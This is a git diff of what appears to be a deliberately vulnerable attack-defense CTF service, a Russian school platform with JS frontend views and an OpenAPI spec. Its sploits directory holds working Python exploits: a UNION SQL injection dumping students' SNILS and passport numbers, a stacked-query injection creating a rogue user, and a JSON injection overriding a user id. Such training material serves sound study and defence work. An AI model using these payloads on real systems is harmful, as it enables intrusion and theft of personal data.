class: "form-grid" }); + box.innerHTML = ` +
+
+
`; + return box; + })(), + el("table", { class: "table", id: "st-lessons" }, [ + el( + "thead", + {}, + el("tr", {}, [ + el("th", {}, "Дата"), + el("th", {}, "Предмет/тема"), + el("th", {}, "Домашнее задание"), + ]) + ), + el("tbody"), + ]), + ]), + ]); + + async function refresh() { + const classId = Number($("#st-class-id", card)?.value || 0); + const date = $("#st-date", card)?.value || undefined; + if (!classId) return; + const { data } = await Api.listLessons(session, classId, date); + const tbody = card.querySelector("tbody"); + tbody.innerHTML = ""; + for (const l of data?.["уроки"] || []) { + const tr = el("tr"); + tr.appendChild(el("td", {}, l["дата"] || "")); + tr.appendChild(el("td", {}, l["название"] || "")); + tr.appendChild(el("td", {}, l["домашнее задание"] || "")); + tbody.appendChild(tr); + } + } + + card.querySelector("#st-load")?.addEventListener("click", refresh); + return card; +} + +function changePasswordView(session) { + const card = el("div", { class: "card" }, [ + el("div", { class: "card-header" }, "Смена пароля"), + el("div", { class: "card-body" }, [ + (() => { + const form = el("form", { class: "form-grid" }); + form.innerHTML = ` +
+
+ + `; + form.addEventListener("submit", async (e) => { + e.preventDefault(); + const newPassword = new FormData(form).get("password"); + try { + await Api.changePassword(session, newPassword); + const msg = form.querySelector("#pw-msg"); + msg.classList.remove("hidden"); + msg.textContent = "Пароль изменён"; + form.querySelector("#pw-err").classList.add("hidden"); + } catch (err) { + const box = form.querySelector("#pw-err"); + box.classList.remove("hidden"); + box.textContent = err.message || "Не удалось изменить пароль"; + } + }); + return form; + })(), + ]), + ]); + return card; +} + +route("/student/dashboard", async ({ view }) => { + const s = needSession(); + view.appendChild(studentDashboard(s)); +}); +route("/student/password", async ({ view }) => { + const s = needSession(); + view.appendChild(changePasswordView(s)); +}); diff --git a/frontend/views/teacher.js b/frontend/views/teacher.js new file mode 100644 index 0000000..2c25617 --- /dev/null +++ b/frontend/views/teacher.js @@ -0,0 +1,406 @@ +import { route } from "../router.js"; +import { Api } from "../kek.js"; +import { el, formToJSON, $, fmtDateInput, loadSession } from "../utils.js"; + +function needSession() { + const s = loadSession(); + if (!s) location.hash = "#/auth/login"; + return s; +} + +function sectionTabs(active) { + const tabs = document.createElement("div"); + tabs.className = "tabs"; + const items = [ + ["#/dashboard", "Сводная"], + ["#/teacher/classes", "Классы"], + ["#/teacher/students", "Ученики"], + ["#/teacher/lessons", "Уроки"], + ]; + for (const [href, title] of items) { + const a = document.createElement("a"); + a.href = href; + a.textContent = title; + if (href.endsWith(active)) a.classList.add("active"); + tabs.appendChild(a); + } + return tabs; +} + +function classesView(session) { + const wrap = el("div", { class: "grid-two" }); + + const formCard = el("div", { class: "card" }, [ + el("div", { class: "card-header" }, "Создать класс"), + el("div", { class: "card-body" }, [ + (() => { + const form = el("form", { class: "form-grid" }); + form.innerHTML = ` +
+
+
+
Ограничение: однобуквенное обозначение параллели.
+ `; + form.addEventListener("submit", async (e) => { + e.preventDefault(); + const payload = formToJSON(form); + try { + await Api.createClass(session, payload); + await refresh(); + form.reset(); + } catch (err) { + const box = form.querySelector("#cls-err"); + box.classList.remove("hidden"); + box.textContent = err.message || "Ошибка создания класса"; + } + }); + return form; + })(), + ]), + ]); + + const listCard = el("div", { class: "card" }, [ + el("div", { class: "card-header" }, "Ваши классы"), + el("div", { class: "card-body" }, [ + (() => { + const box = el("div", { + class: "form-grid", + style: "margin-bottom:8px", + }); + box.innerHTML = ` +
+
Выберите класс в таблице и используйте кнопки «Добавить ученика»/«Убрать ученика»
`; + return box; + })(), + el("table", { class: "table", id: "class-table" }, [ + el( + "thead", + {}, + el("tr", {}, [ + el("th", {}, "ID"), + el("th", {}, "Класс"), + el("th", {}, "Создатель"), + el("th", {}, ""), + ]) + ), + el("tbody"), + ]), + ]), + ]); + + wrap.appendChild(formCard); + wrap.appendChild(listCard); + + async function refresh() { + const { data } = await Api.listClasses(session); + const tbody = listCard.querySelector("tbody"); + tbody.innerHTML = ""; + for (const c of data?.["классы"] || []) { + const tr = el("tr"); + tr.appendChild(el("td", {}, String(c["идентификатор"]))); + tr.appendChild( + el("td", {}, `${c["номер"] || ""}${c["буква"] ? "-" + c["буква"] : ""}`) + ); + tr.appendChild(el("td", {}, String(c["создатель"] ?? ""))); + const actions = el("td"); + const btnAdd = el("button", { class: "btn" }, "Добавить ученика"); + btnAdd.addEventListener("click", async () => { + const sid = Number($("#st-to-add", listCard)?.value || 0); + if (!sid) return alert("Укажите ID ученика"); + try { + await Api.addStudentToClass(session, c["идентификатор"], sid); + await refresh(); + } catch (e) { + alert(e.message || "Не удалось добавить ученика"); + } + }); + const btnRm = el("button", { class: "btn secondary" }, "Убрать ученика"); + btnRm.addEventListener("click", async () => { + const sid = Number($("#st-to-add", listCard)?.value || 0); + if (!sid) return alert("Укажите ID ученика"); + try { + await Api.removeStudentFromClass(session, c["идентификатор"], sid); + await refresh(); + } catch (e) { + alert(e.message || "Не удалось удалить ученика"); + } + }); + const btnDel = el("button", { class: "btn danger" }, "Удалить класс"); + btnDel.addEventListener("click", async () => { + if (!confirm("Удалить класс?")) return; + await Api.deleteClass(session, c["идентификатор"]); + await refresh(); + }); + actions.appendChild(btnAdd); + actions.appendChild(btnRm); + actions.appendChild(btnDel); + tr.appendChild(actions); + tbody.appendChild(tr); + } + } + + refresh().catch(console.error); + return wrap; +} + +function studentsView(session) { + const wrap = el("div", { class: "grid-two" }); + + const formCard = el("div", { class: "card" }, [ + el("div", { class: "card-header" }, "Создать ученика"), + el("div", { class: "card-body" }, [ + (() => { + const form = el("form", { class: "form-grid" }); + form.innerHTML = ` +
+
+
+
+
+
+
+
+ `; + form.addEventListener("submit", async (e) => { + e.preventDefault(); + const payload = formToJSON(form); + try { + await Api.createStudent(session, payload); + await refresh(); + form.reset(); + } catch (err) { + const box = form.querySelector("#st-err"); + box.classList.remove("hidden"); + box.textContent = err.message || "Ошибка создания ученика"; + } + }); + return form; + })(), + ]), + ]); + + const listCard = el("div", { class: "card" }, [ + el("div", { class: "card-header" }, "Ученики"), + el("div", { class: "card-body" }, [ + el("table", { class: "table", id: "st-table" }, [ + el( + "thead", + {}, + el("tr", {}, [ + el("th", {}, "ID"), + el("th", {}, "ФИО"), + el("th", {}, "Имя пользователя"), + el("th", {}, ""), + ]) + ), + el("tbody"), + ]), + ]), + ]); + + wrap.appendChild(formCard); + wrap.appendChild(listCard); + + async function refresh() { + const { data } = await Api.listStudents(session); + const tbody = listCard.querySelector("tbody"); + tbody.innerHTML = ""; + for (const s of data?.["ученики"] || []) { + const tr = el("tr"); + tr.appendChild(el("td", {}, String(s["идентификатор"]))); + tr.appendChild( + el( + "td", + {}, + `${s["фамилия"] || ""} ${s["имя"] || ""} ${ + s["отчество"] || "" + }`.trim() + ) + ); + tr.appendChild(el("td", {}, s["имя пользователя"] || "")); + const actions = el("td"); + const btnDel = el("button", { class: "btn danger" }, "Удалить"); + btnDel.addEventListener("click", async () => { + if (!confirm("Удалить ученика?")) return; + await Api.deleteStudent(session, s["идентификатор"]); + await refresh(); + }); + actions.appendChild(btnDel); + tr.appendChild(actions); + tbody.appendChild(tr); + } + } + + refresh().catch(console.error); + return wrap; +} + +function lessonsView(session) { + const wrap = el("div", { class: "grid-two" }); + + const formCard = el("div", { class: "card" }, [ + el("div", { class: "card-header" }, "Создать урок"), + el("div", { class: "card-body" }, [ + (() => { + const form = el("form", { class: "form-grid" }); + form.innerHTML = ` +
+
+
+
+
+ `; + form.addEventListener("submit", async (e) => { + e.preventDefault(); + const f = new FormData(form); + const classId = Number(f.get("classId")); + const payload = { + дата: f.get("дата"), + тема: f.get("тема"), + домашка: f.get("домашка"), + }; + try { + await Api.createLesson(session, classId, payload); + await refresh(); + } catch (err) { + const box = form.querySelector("#lsn-err"); + box.classList.remove("hidden"); + box.textContent = err.message || "Ошибка создания урока"; + } + }); + return form; + })(), + ]), + ]); + + const listCard = el("div", { class: "card" }, [ + el("div", { class: "card-header" }, "Уроки класса"), + el("div", { class: "card-body" }, [ + (() => { + const filter = el("div", { + class: "form-grid", + style: "margin-bottom:8px", + }); + filter.innerHTML = ` +
+
+
`; + return filter; + })(), + el("table", { class: "table", id: "lsn-table" }, [ + el( + "thead", + {}, + el("tr", {}, [ + el("th", {}, "ID"), + el("th", {}, "Класс"), + el("th", {}, "Дата"), + el("th", {}, "Тема"), + el("th", {}, "Д/З"), + el("th", {}, ""), + ]) + ), + el("tbody"), + ]), + ]), + ]); + + wrap.appendChild(formCard); + wrap.appendChild(listCard); + + async function refresh() { + const classId = Number($("#flt-class", listCard)?.value || 0); + const date = $("#flt-date", listCard)?.value || undefined; + if (!classId) return; + const { data } = await Api.listLessons(session, classId, date); + const tbody = listCard.querySelector("tbody"); + tbody.innerHTML = ""; + for (const l of data?.["уроки"] || []) { + const tr = el("tr"); + tr.appendChild(el("td", {}, String(l["идентификатор"]))); + tr.appendChild(el("td", {}, String(l["идентификатор класса"]))); + tr.appendChild(el("td", {}, l["дата"] || "")); + tr.appendChild(el("td", {}, l["название"] || "")); + tr.appendChild(el("td", {}, l["домашнее задание"] || "")); + const actions = el("td"); + const btnDel = el("button", { class: "btn danger" }, "Удалить"); + btnDel.addEventListener("click", async () => { + if (!confirm("Удалить урок?")) return; + await Api.deleteLessonById( + session, + l["идентификатор класса"], + l["идентификатор"] + ); + await refresh(); + }); + actions.appendChild(btnDel); + tr.appendChild(actions); + tbody.appendChild(tr); + } + } + + $("#btn-load", listCard)?.addEventListener("click", refresh); + + return wrap; +} + +function dashboardView() { + const card = el("div", { class: "card" }, [ + el("div", { class: "card-header" }, "Сводная"), + el("div", { class: "card-body" }, [ + el( + "p", + {}, + "Добро пожаловать! Используйте боковое меню, чтобы работать с данными." + ), + el( + "p", + { class: "small" }, + `Стоят пассажиры в аэропорту, посадочный досмотр проходят. Дошла очередь до мужика с чемоданом. +— Пожалуйста, приготовьте чемодан к осмотру. +— Не могу. +— Почему? +— А у меня там бипки! +— А что это? +— Ну, пропатчите сервис на тривиле — покажу! +Служба безопасности шутку не поняла, вызвала наряд полиции: +— Гражданин, открывайте чемодан. +— Но я не могу! +— Почему не можете? +— Потому что у меня там бипки! +— «Бипки»? Что это? +— Так реализуйте гарбадж коллектор мне, и я покажу! +Отобрали чемодан, а открыть никто не может. Повезли мужика в СИЗО. В камере сидельцы расспрашивают: +— Братуха, за что тебя? +— Да чемодан отказался открывать. +— А что там? +— Да бипки там. +— Какие еще «бипки»? +— Ну документацию обновите мне, тогда и расскажу. +И вот угодил мужик в лазарет, с побоями да синяками по всему телу, весь перебинтован, еле дышит. Следователи вызвали группу специалистов для вскрытия чемодана. Час, два, три пыхтели. Кое-как разворотили, смотрят — а там бипки.` + ), + ]), + ]); + return card; +} + +route("/dashboard", async ({ view }) => { + const s = needSession(); + view.appendChild(sectionTabs("dashboard")); + view.appendChild(dashboardView(s)); +}); +route("/teacher/classes", async ({ view }) => { + const s = needSession(); + view.appendChild(sectionTabs("classes")); + view.appendChild(classesView(s)); +}); +route("/teacher/students", async ({ view }) => { + const s = needSession(); + view.appendChild(sectionTabs("students")); + view.appendChild(studentsView(s)); +}); +route("/teacher/lessons", async ({ view }) => { + const s = needSession(); + view.appendChild(sectionTabs("lessons")); + view.appendChild(lessonsView(s)); +}); diff --git a/openapi/srab.yaml b/openapi/srab.yaml new file mode 100644 index 0000000..c65ada6 --- /dev/null +++ b/openapi/srab.yaml @@ -0,0 +1,812 @@ +openapi: 3.0.3 +info: + title: SRAB Учебная Платформа + version: 1.0.0 + description: > + HTTP API, реализованное контроллерами из каталога `исх/властелины`. + Аутентификация выполняется с помощью заголовка `Authorization` вида + `Basic <имя_пользователя> <пароль>` (без base64). + +servers: + - url: http://localhost:1337 + +tags: + - name: Главный + - name: Пользователи + - name: Классы + - name: Уроки + - name: Ученики + - name: Учителя + +components: + securitySchemes: + BasicPassport: + type: apiKey + in: header + name: Authorization + description: > + Формат: `Basic <имя_пользователя> <пароль>`. Используется для всех защищённых маршрутов. + schemas: + LoginRequest: + type: object + required: ["имя пользователя", "пароль"] + properties: + "имя пользователя": + type: string + "пароль": + type: string + CreateTeacherRequest: + type: object + required: + ["имя", "фамилия", "отчество", "образование", "пароль", "повтор пароля"] + properties: + "имя": + type: string + "фамилия": + type: string + "отчество": + type: string + "образование": + type: string + "пароль": + type: string + "повтор пароля": + type: string + ChangePasswordRequest: + type: object + required: ["новый пароль"] + properties: + "новый пароль": + type: string + Student: + type: object + properties: + "идентификатор": + type: integer + format: int64 + "имя": + type: string + "фамилия": + type: string + "отчество": + type: string + "снилс": + type: string + "паспорт": + type: string + "наставник": + type: integer + format: int64 + "имя пользователя": + type: string + StudentListResponse: + type: object + properties: + "ученики": + type: array + items: + $ref: "#/components/schemas/Student" + CreateStudentResponse: + type: object + properties: + "идентификатор": + type: integer + format: int64 + "имя": + type: string + "фамилия": + type: string + "отчество": + type: string + "снилс": + type: string + "паспорт": + type: string + "учитель": + type: integer + format: int64 + "имя пользователя": + type: string + Teacher: + type: object + properties: + "идентификатор": + type: integer + format: int64 + "имя": + type: string + "фамилия": + type: string + "отчество": + type: string + "имя пользователя": + type: string + "образование": + type: string + TeacherListResponse: + type: object + properties: + "учителя": + type: array + items: + $ref: "#/components/schemas/Teacher" + CreateStudentRequest: + type: object + required: + [ + "имя", + "фамилия", + "отчество", + "снилс", + "паспорт", + "пароль", + "повтор пароля", + ] + properties: + "имя": + type: string + "фамилия": + type: string + "отчество": + type: string + "снилс": + type: string + "паспорт": + type: string + "пароль": + type: string + "повтор пароля": + type: string + Class: + type: object + properties: + "идентификатор": + type: integer + format: int64 + "номер": + type: integer + "буква": + type: string + "создатель": + type: integer + format: int64 + ClassListResponse: + type: object + properties: + "классы": + type: array + items: + $ref: "#/components/schemas/Class" + CreateClassRequest: + type: object + required: ["номер", "буква"] + properties: + "номер": + type: integer + "буква": + type: string + description: Однобуквенное обозначение параллели. + Lesson: + type: object + properties: + "идентификатор": + type: integer + format: int64 + "идентификатор класса": + type: integer + format: int64 + "дата": + type: string + description: Дата урока (YYYY-MM-DD). + "название": + type: string + "домашнее задание": + type: string + LessonListResponse: + type: object + properties: + "уроки": + type: array + items: + $ref: "#/components/schemas/Lesson" + CreateLessonRequest: + type: object + required: [] + properties: + "дата": + type: string + description: Дата урока; альтернативно можно использовать поле «дата урока». + "дата урока": + type: string + description: Альтернативное имя поля «дата». + "название": + type: string + description: Название урока; альтернативно можно использовать поле «тема». + "тема": + type: string + description: Альтернативное имя поля «название». + "домашнее задание": + type: string + description: Текст домашнего задания; альтернативно можно использовать поле «домашка». + "домашка": + type: string + description: Альтернативное имя поля «домашнее задание». + description: > + Требует хотя бы одно из полей «дата» или «дата урока», а также «название» или «тема». + Остальные поля необязательны. +paths: + /api/: + get: + tags: [Главный] + summary: Проверка здоровья сервиса. + responses: + "200": + description: Успешный ответ. + content: + text/plain: + schema: + type: string + example: Привет, мир! + + /api/users: + post: + tags: [Пользователи] + summary: Регистрация учителя (создание пользователя-учителя). + requestBody: + required: true + content: + application/json: + schema: + $ref: "#/components/schemas/CreateTeacherRequest" + responses: + "201": + description: Учитель создан. + content: + application/json: + schema: + $ref: "#/components/schemas/Teacher" + examples: + success: + summary: Пример созданного учителя + value: + идентификатор: 1 + образование: "высшее" + имя: "Иван" + фамилия: "Иванов" + отчество: "Иванович" + имя пользователя: "Иван.Иванов" + "400": + description: Невалидное тело запроса или пароли не совпадают. + "500": + description: Ошибка при обращении к базе. + + /api/users/login: + post: + tags: [Пользователи] + summary: Аутентификация пользователя. + requestBody: + required: true + content: + application/json: + schema: + $ref: "#/components/schemas/LoginRequest" + responses: + "200": + description: Аутентификация прошла успешно. + content: + text/plain: + schema: + type: string + example: Рады видеть вас снова :3 + "401": + description: Неверные учётные данные. + "500": + description: Внутренняя ошибка при обращении к базе. + + /api/users/password: + put: + tags: [Пользователи] + summary: Смена пароля авторизованного пользователя. + security: + - BasicPassport: [] + requestBody: + required: true + content: + application/json: + schema: + $ref: "#/components/schemas/ChangePasswordRequest" + responses: + "204": + description: Пароль успешно изменён. + "400": + description: Невалидное тело запроса. + "401": + description: Неавторизовано (нет или неверный паспорт). + "422": + description: Новый пароль отсутствует или пустой. + "500": + description: Ошибка при обращении к базе. + + /api/classes: + get: + tags: [Классы] + summary: Список классов, созданных учителем. + security: + - BasicPassport: [] + parameters: + - name: "учитель" + in: query + required: false + description: > + Идентификатор учителя для фильтрации. Для администраторов параметр обязателен; + для учителей по умолчанию используется их собственный идентификатор, если + параметр не указан. + schema: + type: integer + format: int64 + example: 42 + responses: + "200": + description: Список доступных классов. + content: + application/json: + schema: + $ref: "#/components/schemas/ClassListResponse" + "400": + description: > + Некорректные параметры запроса: администраторам необходимо указать параметр + «учитель», либо передано неверное значение параметра. + "401": + description: Пользователь не авторизован. + "403": + description: Пользователь не является учителем. + "500": + description: Ошибка базы данных. + post: + tags: [Классы] + summary: Создание нового класса. + security: + - BasicPassport: [] + requestBody: + required: true + content: + application/json: + schema: + $ref: "#/components/schemas/CreateClassRequest" + responses: + "201": + description: Класс создан. + content: + application/json: + schema: + $ref: "#/components/schemas/Class" + "400": + description: Невалидное тело запроса. + "401": + description: Пользователь не авторизован. + "403": + description: Пользователь не является учителем. + "422": + description: Нарушение ограничений БД (дублирование и т.п.). + "500": + description: Ошибка базы данных. + + /api/classes/{classId}: + delete: + tags: [Классы] + summary: Удаление класса учителя. + security: + - BasicPassport: [] + parameters: + - name: classId + in: path + required: true + description: Идентификатор класса. + schema: + type: integer + format: int64 + responses: + "204": + description: Класс удалён. + "400": + description: Не указан идентификатор. + "401": + description: Пользователь не авторизован. + "403": + description: Класс не принадлежит учителю. + "404": + description: Класс не найден. + "500": + description: Ошибка базы данных. + + /api/classes/{classId}/students/{studentId}: + post: + tags: [Классы] + summary: Добавление ученика в класс. + security: + - BasicPassport: [] + parameters: + - name: classId + in: path + required: true + schema: + type: integer + format: int64 + - name: studentId + in: path + required: true + schema: + type: integer + format: int64 + responses: + "201": + description: Ученик добавлен. + "400": + description: Недостаточно параметров в маршруте. + "401": + description: Пользователь не авторизован. + "403": + description: Класс не принадлежит учителю. + "404": + description: Ученик не найден. + "422": + description: Связь уже существует или нарушена целостность. + "500": + description: Ошибка базы данных. + delete: + tags: [Классы] + summary: Удаление ученика из класса. + security: + - BasicPassport: [] + parameters: + - name: classId + in: path + required: true + schema: + type: integer + format: int64 + - name: studentId + in: path + required: true + schema: + type: integer + format: int64 + responses: + "204": + description: Ученик удалён из класса. + "400": + description: Недостаточно параметров в маршруте. + "401": + description: Пользователь не авторизован. + "403": + description: Класс не принадлежит учителю. + "404": + description: Связь ученик-класс не найдена. + "500": + description: Ошибка базы данных. + + /api/classes/{classId}/lessons: + post: + tags: [Уроки] + summary: Создание урока. + security: + - BasicPassport: [] + parameters: + - name: classId + in: path + required: true + schema: + type: integer + format: int64 + requestBody: + required: true + content: + application/json: + schema: + $ref: "#/components/schemas/CreateLessonRequest" + responses: + "201": + description: Урок создан. + content: + application/json: + schema: + $ref: "#/components/schemas/Lesson" + "400": + description: Невалидное тело или отсутствуют обязательные поля. + "401": + description: Пользователь не авторизован. + "403": + description: Класс не принадлежит учителю. + "422": + description: Нарушение ограничений при вставке. + "500": + description: Ошибка базы данных. + get: + tags: [Уроки] + summary: Список уроков класса. + security: + - BasicPassport: [] + parameters: + - name: classId + in: path + required: true + schema: + type: integer + format: int64 + - name: date + in: query + required: false + schema: + type: string + description: > + Дополнительный фильтр по дате (YYYY-MM-DD). Аналогичен маршрутам с сегментом `/date/{date}`. + responses: + "200": + description: Успешный ответ. + content: + application/json: + schema: + $ref: "#/components/schemas/LessonListResponse" + "400": + description: Не указан идентификатор класса. + "401": + description: Пользователь не авторизован. + "403": + description: Нет доступа к классу. + "404": + description: Класс не найден. + "500": + description: Ошибка базы данных. + + /api/classes/{classId}/lessons/{date}: + get: + tags: [Уроки] + summary: Список уроков класса за указанную дату. + security: + - BasicPassport: [] + parameters: + - name: classId + in: path + required: true + schema: + type: integer + format: int64 + - name: date + in: path + required: true + schema: + type: string + description: Дата в формате YYYY-MM-DD. + responses: + "200": + description: Успешный ответ. + content: + application/json: + schema: + $ref: "#/components/schemas/LessonListResponse" + "400": + description: Недостаточно параметров. + "401": + description: Пользователь не авторизован. + "403": + description: Нет доступа к классу. + "404": + description: Класс не найден. + "500": + description: Ошибка базы данных. + delete: + tags: [Уроки] + summary: Удаление урока по идентификатору. + security: + - BasicPassport: [] + parameters: + - name: classId + in: path + required: true + schema: + type: integer + format: int64 + - name: date + in: path + required: true + schema: + type: integer + format: int64 + description: Идентификатор урока для удаления. + responses: + "204": + description: Урок удалён. + "400": + description: Недостаточно параметров. + "401": + description: Пользователь не авторизован. + "403": + description: Класс не принадлежит учителю. + "404": + description: Урок не найден. + "500": + description: Ошибка базы данных. + + /api/classes/{classId}/lessons/date/{date}: + get: + tags: [Уроки] + summary: Альтернативный маршрут фильтрации уроков по дате. + security: + - BasicPassport: [] + parameters: + - name: classId + in: path + required: true + schema: + type: integer + format: int64 + - name: date + in: path + required: true + schema: + type: string + description: Дата в формате YYYY-MM-DD. + responses: + "200": + description: Успешный ответ. + content: + application/json: + schema: + $ref: "#/components/schemas/LessonListResponse" + "400": + description: Недостаточно параметров. + "401": + description: Пользователь не авторизован. + "403": + description: Нет доступа к классу. + "404": + description: Класс не найден. + "500": + description: Ошибка базы данных. + + /api/students: + post: + tags: [Ученики] + summary: Создание ученика (только для учителей). + security: + - BasicPassport: [] + requestBody: + required: true + content: + application/json: + schema: + $ref: "#/components/schemas/CreateStudentRequest" + responses: + "201": + description: Ученик создан. + content: + application/json: + schema: + $ref: "#/components/schemas/CreateStudentResponse" + "400": + description: Невалидное тело запроса или пароли не совпадают. + "401": + description: Пользователь не авторизован. + "403": + description: Пользователь не является учителем. + "500": + description: Ошибка базы данных. + get: + tags: [Ученики] + summary: Список учеников по учителю. + security: + - BasicPassport: [] + parameters: + - name: "учитель" + in: query + required: false + description: > + Идентификатор учителя для фильтрации. Для администраторов параметр обязателен; + для учителей по умолчанию используется их собственный идентификатор, если + параметр не указан. + schema: + type: integer + format: int64 + example: 42 + responses: + "200": + description: Список учеников. + content: + application/json: + schema: + $ref: "#/components/schemas/StudentListResponse" + "400": + description: Некорректные параметры запроса. + "401": + description: Пользователь не авторизован. + "403": + description: Пользователь не является учителем. + "500": + description: Ошибка базы данных. + + /api/students/{id}: + get: + tags: [Ученики] + summary: Получение ученика по идентификатору. + security: + - BasicPassport: [] + parameters: + - name: id + in: path + required: true + schema: + type: integer + format: int64 + responses: + "200": + description: Ученик найден. + content: + application/json: + schema: + $ref: "#/components/schemas/Student" + "400": + description: Недостаточно параметров. + "401": + description: Пользователь не авторизован. + "403": + description: Пользователь не является учителем. + "404": + description: Ученик не найден. + "500": + description: Ошибка базы данных. + delete: + tags: [Ученики] + summary: Удаление ученика (только для учителей). + security: + - BasicPassport: [] + parameters: + - name: id + in: path + required: true + schema: + type: integer + format: int64 + responses: + "204": + description: Ученик удалён. + "400": + description: Не указан идентификатор. + "401": + description: Пользователь не авторизован. + "403": + description: Пользователь не является учителем или не наставник указанного ученика. + "404": + description: Ученик не найден. + "500": + description: Ошибка базы данных. + + /api/teachers: + get: + tags: [Учителя] + summary: Список учителей (только для администраторов). + security: + - BasicPassport: [] + parameters: + - name: "страница" + in: query + required: false + description: Номер страницы (начиная с 1). По умолчанию 1. + schema: + type: integer + minimum: 1 + example: 2 + responses: + "200": + description: Успешный ответ. + content: + application/json: + schema: + $ref: "#/components/schemas/TeacherListResponse" + "400": + description: Некорректные параметры запроса (напр., страница < 1). + "401": + description: Пользователь не авторизован. + "403": + description: Пользователь не является администратором. + "500": + description: Ошибка базы данных. diff --git a/sploits/01_sql_bad_escape.py b/sploits/01_sql_bad_escape.py new file mode 100644 index 0000000..ff2de8d --- /dev/null +++ b/sploits/01_sql_bad_escape.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python3 + +import socket +import common + +credentials = common.register_random_teacher() +headers = common.get_auth_headers(credentials) +class_id = common.create_class(credentials) + +injection = ( + "01%2F01%2F2077' " + "' UNION SELECT id AS id, user_id AS class_id, snils AS date, " + "passport AS title, 'gotcha' AS homework FROM students " + "WHERE '-1' = '-1" +) + +path = f"/api/classes/{class_id}/lessons/{injection}" +url = common.BASE + path + +s = socket.create_connection((common.HOST, common.PORT)) + +s.sendall(f"""GET {path} HTTP/1.1 +Authorization: {headers["Authorization"]} + +""".encode("utf-8")) + +chunks = [] + +while True: + data = s.recv(4096) + if not data: + break + + chunks.append(data) + +body = b"".join(chunks).decode("utf-8") + +print(body) diff --git a/sploits/02_sql_no_escape.py b/sploits/02_sql_no_escape.py new file mode 100644 index 0000000..ee12b80 --- /dev/null +++ b/sploits/02_sql_no_escape.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python3 + +import requests +import common + +injection_first_name = common.random_string() +injection_last_name = common.random_string() +injection_password = common.random_string() +injection_username = f"{injection_first_name}.{injection_last_name}" + +legit_first_name = common.random_string() +legit_last_name = common.random_string() +legit_password = common.random_string() +legit_username = f"{legit_first_name}.{legit_last_name}" +legit_education = ( + "Pony', ''); INSERT INTO users (first_name, last_name, middle_name, " + "username, password) " + f"VALUES ('{injection_first_name}', '{injection_last_name}', " + f"'Injectionovich', '{injection_username}', " + f"'{injection_password}'); --" +) + +common.register_teacher( + legit_first_name, + legit_last_name, + legit_password, + legit_username, + legit_education, +) + +last_student_id = common.create_student((legit_username, legit_password)) +headers = common.get_auth_headers((injection_username, injection_password)) + +for student_id in range(max(1, last_student_id - 100), last_student_id): + url = f"{common.BASE}/api/students/{student_id}" + response = requests.get(url, headers=headers) + + print(response.text) diff --git a/sploits/03_json_injection.py b/sploits/03_json_injection.py new file mode 100644 index 0000000..a3c519a --- /dev/null +++ b/sploits/03_json_injection.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python3 + +import socket +import common + +first_name = common.random_string() +last_name = common.random_string() +password = common.random_string() +username = f"{first_name}.{last_name}" + +_, _, base_teacher_id = common.register_random_teacher() + +common.register_teacher( + first_name, + last_name, + password, + username, + middle_name="""Injectionovich", "id": 228, "kek": "pek""" +) + +for teacher_id in range(max(1, base_teacher_id - 100), base_teacher_id): + path = f"/api/students?учитель={teacher_id}" + headers = common.get_auth_headers((username, password)) + + s = socket.create_connection((common.HOST, common.PORT)) + + s.sendall(f"""GET {path} HTTP/1.1 + Authorization: {headers["Authorization"]} + + """.encode("utf-8")) + + chunks = [] + + while True: + data = s.recv(4096) + if not data: + break + + chunks.append(data) + + body = b"".join(chunks).decode("utf-8") + + print(body) + diff --git a/sploits/common/__init__.py b/sploits/common/__init__.py new file mode 100644 index 0000000..e5faf3d --- /dev/null +++ b/sploits/common/__init__.py @@ -0,0 +1,118 @@ +import json +import random +import sys +import requests + +HOST = sys.argv[1] +PORT = 1337 +BASE = f"http://{HOST}:{PORT}" + + +def random_string(length=8): + letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" + return ''.join(random.choice(letters) for _ in range(length)) + + +def register_teacher( + first_name, + last_name, + password, + username, + education="Pony", + middle_name="Автотестович", +): + url = f"{BASE}/api/users" + data = { + "имя": first_name, + "фамилия": last_name, + "отчество": middle_name, + "образование": education, + "пароль": password, + "повтор пароля": password, + } + + response = requests.post(url, data=json.dumps(data, ensure_ascii=False)) + + if response.status_code != 201: + print( + f"Failed to register teacher: {response.status_code} " + f"{response.text}" + ) + sys.exit(1) + + data = response.json() + + return (username, password, data["идентификатор"]) + + +def register_random_teacher(): + first_name = random_string() + last_name = random_string() + password = random_string() + username = f"{first_name}.{last_name}" + + return register_teacher(first_name, last_name, password, username) + + +def create_class(teacher_credentials): + headers = get_auth_headers(teacher_credentials) + + url = f"{BASE}/api/classes" + data = { + "номер": 11, + "буква": "Б", + } + + response = requests.post( + url, + data=json.dumps(data, ensure_ascii=False), + headers=headers + ) + + if response.status_code != 201: + print( + f"Failed to create class: {response.status_code} {response.text}" + ) + sys.exit(1) + + class_info = response.json() + return class_info["идентификатор"] + + +def create_student(teacher_credentials): + headers = get_auth_headers(teacher_credentials) + password = random_string() + + url = f"{BASE}/api/students" + data = { + "имя": random_string(), + "фамилия": random_string(), + "отчество": "Автотестович", + "снилс": random_string(), + "паспорт": random_string(), + "пароль": password, + "повтор пароля": password, + } + + response = requests.post( + url, + data=json.dumps(data, ensure_ascii=False), + headers=headers + ) + + if response.status_code != 201: + print( + f"Failed to create student: {response.status_code} {response.text}" + ) + sys.exit(1) + + class_info = response.json() + return class_info["идентификатор"] + + +def get_auth_headers(teacher_credentials): + return { + "Authorization": ( + f"Basic {teacher_credentials[0]} {teacher_credentials[1]}" + ) + } diff --git a/var/.keep b/var/.keep new file mode 100644 index 0000000..e69de29 diff --git a/wrapper/Cargo.lock b/wrapper/Cargo.lock new file mode 100644 index 0000000..01db2ab --- /dev/null +++ b/wrapper/Cargo.lock @@ -0,0 +1,713 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "atomic-waker" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "axum" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18ed336352031311f4e0b4dd2ff392d4fbb370777c9d18d7fc9d7359f73871" +dependencies = [ + "axum-core", + "bytes", + "form_urlencoded", + "futures-util", + "http", + "http-body", + "http-body-util", + "hyper", + "hyper-util", + "itoa", + "matchit", + "memchr", + "mime", + "percent-encoding", + "pin-project-lite", + "serde_core", + "serde_json", + "serde_path_to_error", + 